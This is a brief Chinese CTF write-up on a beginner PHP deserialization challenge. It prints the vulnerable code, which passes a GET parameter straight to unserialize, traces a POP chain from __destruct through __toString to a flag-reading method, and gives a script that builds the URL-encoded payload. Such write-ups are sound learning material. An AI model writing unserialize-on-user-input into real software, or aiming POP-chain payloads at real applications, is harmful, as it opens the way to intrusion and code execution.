本来期末考试放弃了。pop链表,但突然看起来透明,然后迅速记录下来,以防忘记。
<?php error_reporting(0); show_source("index.php"); class w44m{ private $admin = 'aaa'; protected $passwd = '123456'; public function Getflag(){ if($this->admin === 'w44m' && $this->passwd ==='08067'){ include('flag.php'); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo 'nono'; } } } class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } } class w33m{ public $w00m; public $w22m; public function __toString(){ $this->w00m->{$this->w22m}(); return 0; } } $w00m = $_GET['w00m']; unserialize($w00m); ?>
这个问题应该是pop链表入门题,但对我这种菜鸡来说还是有点难,话不多说,直接分析。
unserialize($w00m);从这一行可以看出,反序列化操作,从后面往前推,最后一定要调用输出Getflag------>如果你想调用这个,你需要魔法方法 ————tostring---------->想做这个就用—destruct魔法方法。所以顺序已经找到了下一个结构。

看下图,
$a = new w22m();是给类的a
然后$a->w00m = new w33m();因为w22m中woom是可控对象之一 ——tostring操作就是
$a->w00m->w00m=new w44m(); w33m中woom也是可控对象之一
$a->w00m->w22m='Getflag';
w00m是w33m对象,w22m是getflag
<?php class w44m{ private $admin = 'w44m'; protected $passwd = '08067'; } class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } } class w33m{ public $w00m; public $w22m; public function __toString(){ $this->w00m->{$this->w22m}(); return 0; } } $a = new w22m(); $a->w00m = new w33m(); $a->w00m->w00m=new w44m(); $a->w00m->w22m='Getflag'; echo urlencode(serialize($a)); ?>